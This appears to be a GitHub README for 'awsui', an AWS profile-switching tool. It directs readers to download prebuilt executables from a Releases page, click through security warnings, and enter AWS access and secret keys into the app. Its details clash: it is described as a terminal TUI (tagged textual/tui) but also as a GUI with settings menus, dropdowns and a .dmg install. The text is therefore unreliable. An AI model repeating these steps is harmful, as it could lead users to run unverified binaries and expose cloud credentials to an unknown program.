Skip to content

mrvaibhavgithub/awsui

Repository files navigation

🌟 awsui - Switch AWS Profiles Effortlessly

🚀 Getting Started

Welcome to the awsui project! This application provides a modern, user-friendly interface for managing your AWS profiles. Enjoy quick profile switching, easy SSO re-authentication, and more, all from your terminal.

🔗 Download the Application

Download awsui

📥 Download & Install

To get started, visit the Releases page to download the latest version of awsui. Here's how:

  1. Click on the link above to open the Releases page.
  2. Look for the version you want to download.
  3. Click on the file that matches your operating system. You will find options for Windows, macOS, and Linux.
  4. Once the download is complete, locate the downloaded file on your computer.

For Windows Users:

  • After downloading, double-click the .exe file.
  • If prompted by your system, confirm any security warnings to proceed with the installation.

For macOS Users:

  • Open the downloaded .dmg file.
  • Drag the awsui application to the Applications folder.

For Linux Users:

  • Open your terminal.
  • Navigate to the directory where you downloaded the file.
  • Run the following command: chmod +x awsui-linux && ./awsui-linux.

📋 System Requirements

To use awsui, ensure your system meets the following requirements:

  • Operating System:

    • Windows 10 or later
    • macOS Mojave (10.14) or later
    • A modern Linux distribution
  • Dependencies:

    • Python 3.8 or higher (if not included in the package)

🔑 Features

awsui offers a range of features to improve your AWS experience:

  • Lightning-Fast Profile Switching: Quickly switch between your AWS profiles without hassle.
  • Seamless SSO Re-authentication: Automatically handle your Single Sign-On sessions to save time.
  • Amazon Q Integration: Access Amazon Q features directly from the application.
  • Smart CLI Autocomplete: Get suggestions as you type in your terminal, making commands easier.
  • Bilingual UI: Choose between multiple languages for a more comfortable experience.

🎓 Usage Instructions

Setting Up Your Profiles

Before you can use awsui, you need to set up your AWS profiles:

  1. Open the application.
  2. Go to "Settings" and then "Profiles."
  3. Add your AWS profiles by entering the necessary credentials, such as your Access Key and Secret Key.
  4. You can create multiple profiles for different AWS accounts.

Switching Profiles

Once your profiles are set up, switching is simple:

  1. Launch the awsui application.
  2. Use the dropdown menu to select the profile you want to use.
  3. Click "Switch" to activate the selected profile.

Re-authenticating Single Sign-On (SSO)

If you need to re-authenticate using SSO:

  1. Click the "SSO" button in the main interface.
  2. Follow the on-screen prompts to complete the login process.

🔧 Troubleshooting

If you encounter issues while using awsui, consider the following solutions:

  • Application Not Launching: Ensure your operating system meets the requirements. Check if you have the necessary permissions.
  • Profile Not Switching: Double-check your AWS credentials for each profile. Make sure there are no typos.
  • SSO Issues: Ensure your SSO provider is correctly set up. Check your internet connection.

📞 Support

For additional help, please visit the Issues section of our GitHub repository. Community members and maintainers are available to assist you.

💻 Learn More Topics

Explore these relevant topics to enhance your understanding and use of awsui:

  • amazon-q
  • autocomplete
  • aws
  • aws-iam-identity-center
  • cli
  • developer-tools
  • profile-switcher
  • sso
  • sts
  • terminal
  • textual
  • tui

🔗 Additional Resources

By following these steps, you can easily download and run awsui. Enjoy managing your AWS profiles with simplicity and speed!